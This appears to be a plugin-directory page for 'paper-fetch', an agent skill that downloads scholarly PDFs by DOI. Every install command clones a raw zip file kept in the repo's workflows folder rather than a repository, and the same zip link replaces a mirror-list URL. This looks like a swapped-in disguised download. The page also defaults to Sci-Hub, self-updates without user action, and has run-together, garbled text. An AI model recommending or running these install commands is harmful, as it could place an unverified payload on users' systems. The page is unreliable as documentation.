FAQ
paper-fetch is a Claude Code plugin with 1 hand-picked skill for automation work, indexed on Flowy. Install it with the command on its page. It includes paper-fetch. Its skills do not fire on their own yet. Request auto-invocation to have Flowy route them as you prompt. Free and open source.
$ npx -y skills add Kara-lynnmacroeconomic2412/paper-fetch --agent claude-code
Repo: Kara-lynnmacroeconomic2412/paper-fetch
openAccessPdf β arXiv β PubMed Central OA β bioRxiv/medRxiv β Sci-Hub mirrors (last resort, on by default)pip install needed{first_author}_{year}_{journal_abbrev}_{short_title}.pdf (journal omitted if unknown; multi-word journals get ISO-style initials, e.g. Proceedings of the National Academy of Sciences β PNAS)--batch, or pipe them in with --batch -schema subcommand (with deprecations slot for forward-compat drift detection), TTY-aware format default, idempotent retries via --idempotency-key, typed exit codes (0/1/3/4), partial-success batches with next retry hints, per-source diagnostics in result.source_detail (e.g. which Sci-Hub mirror won, so an orchestrator can pin it via PAPER_FETCH_SCIHUB_MIRRORS)--idempotency-key replays the exact envelope without any network I/Ogit clone, the agent runs a synchronous git pull --ff-only on the first invocation per conversation, throttled to once per 24h via <skill_dir>/.last_update. Updates apply immediately. Zero user action required. Force an immediate check with rm <skill_dir>/.last_update.The skill is discipline-agnostic β it works for any field, not just life sciences or computer science.
| Source | Discipline scope |
|---|---|
| Unpaywall | β All disciplines (covers every Crossref DOI β humanities, social sciences, physics, chemistry, economics, etc.) |
| Semantic Scholar | β All disciplines (cross-domain academic graph) |
| arXiv | Physics, math, CS, statistics, quantitative finance, economics, EE |
| PubMed Central | Biomedical only |
| bioRxiv / medRxiv | Biology / medicine preprints only |
| Sci-Hub mirrors | β All disciplines (last-resort fallback when every OA / institutional source misses) |
In practice, Unpaywall + Semantic Scholar alone cover OA papers in chemistry, materials, economics, psychology, humanities, and every other field via institutional repositories, SSRN, RePEc, and publisher-hosted OA copies. arXiv/PMC/bioRxiv are additional fallbacks for their specific domains, and Sci-Hub is the universal last resort.
Works with all major AI coding agents that support the Agent Skills format:
| Platform | Status | Details |
|---|---|---|
| Claude Code | β Full support | Native SKILL.md format |
| OpenClaw / ClawHub | β Full support | metadata.openclaw namespace |
| Hermes Agent | β Full support | Installable under research category |
| pi-mono | β Full support | metadata.pimo namespace |
| OpenAI Codex | β Full support | agents/openai.yaml sidecar |
| SkillsMP | β Indexed | GitHub topics configured |
| Feature | Native agent | This skill |
|---|---|---|
| Resolve DOI to PDF | Ad-hoc web search | Deterministic 5-source chain |
| Unpaywall integration | No | Yes β highest OA coverage |
| arXiv / PMC / bioRxiv fallback | Manual | Automatic |
| Batch download | No | Yes β --batch dois.txt or --batch - (stdin) |
| Consistent filenames | No | Yes β author_year_title.pdf |
| Machine-readable schema | No | Yes β fetch.py schema |
| Structured output | No | Stable JSON envelope + NDJSON progress |
| Idempotent retries | No | --idempotency-key replays cached envelope |
| Typed exit codes | No | 0/1/3/4 β orchestrator can route failures |
| Dependencies | Varies | Python stdlib only |
export UNPAYWALL_EMAIL=you@example.com
Add it to ~/.zshrc / ~/.bashrc to persist. Without it, Unpaywall is skipped and the remaining 4 sources (Semantic Scholar, arXiv, PMC, bioRxiv/medRxiv) are still tried.
# Global install
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.claude/skills/paper-fetch
# Project-level install
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip .claude/skills/paper-fetch
clawhub install paper-fetch
# Or manual
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.openclaw/skills/paper-fetch
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.hermes/skills/research/paper-fetch
Or add to ~/.hermes/config.yaml:
skills:
external_dirs:
- ~/myskills/paper-fetch
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.pimo/skills/paper-fetch
# User-level
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.agents/skills/paper-fetch
# Project-level
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip .agents/skills/paper-fetch
skills install paper-fetch
| Platform | Global path | Project path |
|---|---|---|
| Claude Code | ~/.claude/skills/paper-fetch/ | .claude/skills/paper-fetch/ |
| OpenClaw | ~/.openclaw/skills/paper-fetch/ | skills/paper-fetch/ |
| Hermes Agent | ~/.hermes/skills/research/paper-fetch/ | Via external_dirs |
| pi-mono | ~/.pimo/skills/paper-fetch/ | β |
| OpenAI Codex | ~/.agents/skills/paper-fetch/ | .agents/skills/paper-fetch/ |
| SkillsMP | N/A (installed via CLI) | N/A |
Single DOI:
python scripts/fetch.py 10.1038/s41586-021-03819-2
Custom output directory:
python scripts/fetch.py 10.1038/s41586-021-03819-2 --out ~/papers
Batch mode:
cat > dois.txt <<EOF
10.1038/s41586-021-03819-2
10.1126/science.abj8754
10.1101/2023.01.01.522400
EOF
python scripts/fetch.py --batch dois.txt --out ~/papers
Dry-run (preview without downloading):
python scripts/fetch.py 10.1038/s41586-020-2649-2 --dry-run
Human-readable text output:
python scripts/fetch.py 10.1038/s41586-020-2649-2 --format text
Pipe DOIs from another tool:
echo 10.1038/s41586-021-03819-2 | python scripts/fetch.py --batch -
Safely retriable batch (replay cached envelope on retry):
python scripts/fetch.py --batch dois.txt --out ~/papers \
--idempotency-key monday-review-batch
Machine-readable self-description (for agents):
python scripts/fetch.py schema --pretty
Streaming NDJSON (one result per line as each DOI resolves):
python scripts/fetch.py --batch dois.txt --stream
Or just ask your agent naturally:
Download the AlphaFold2 paper PDF to my
~/papersfolder
Fetch the PDF for DOI 10.1038/s41586-020-2649-2
Download these three papers: 10.1038/s41586-021-03819-2, 10.1126/science.abj8754, 10.1101/2023.01.01.522400
Check if this paper has an open-access PDF available: 10.1038/s41586-020-2649-2
Batch download all DOIs from my dois.txt file into ~/papers
openAccessPdf field + externalIds lookup10.1101/PAPER_FETCH_INSTITUTIONAL=1); your subscription IP / cookies / EZproxy authorize the fetchPAPER_FETCH_SCIHUB_MIRRORS (or built-in defaults: sci-hub.ru, sci-hub.st, sci-hub.su, sci-hub.box, sci-hub.red, sci-hub.al, sci-hub.mk, sci-hub.ee); on full miss, scrapes https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip once for fresh mirrors. Disable with PAPER_FETCH_NO_SCIHUB=1.SKILL.md β the only required file. Loaded by all platforms.scripts/fetch.py β the downloader (pure stdlib Python)agents/openai.yaml β OpenAI Codex sidecar configurationREADME.md β this fileREADME_CN.md β Chinese documentation%PDF header and fails cleanly in that caseMIT
If this skill helps you, consider supporting the author:
Agents365-ai
.github/
workflows/
check.yml
fetch_paper_1.8.zip
.gitignore
agents/
openai.yaml
docs/
index.html
zh.html
README_CN.md
README.md
scripts/
fetch.py
SKILL.mdΒ© 2026 Flowy Β· Free and open source
Built for Claude Code Β· Not affiliated with Anthropic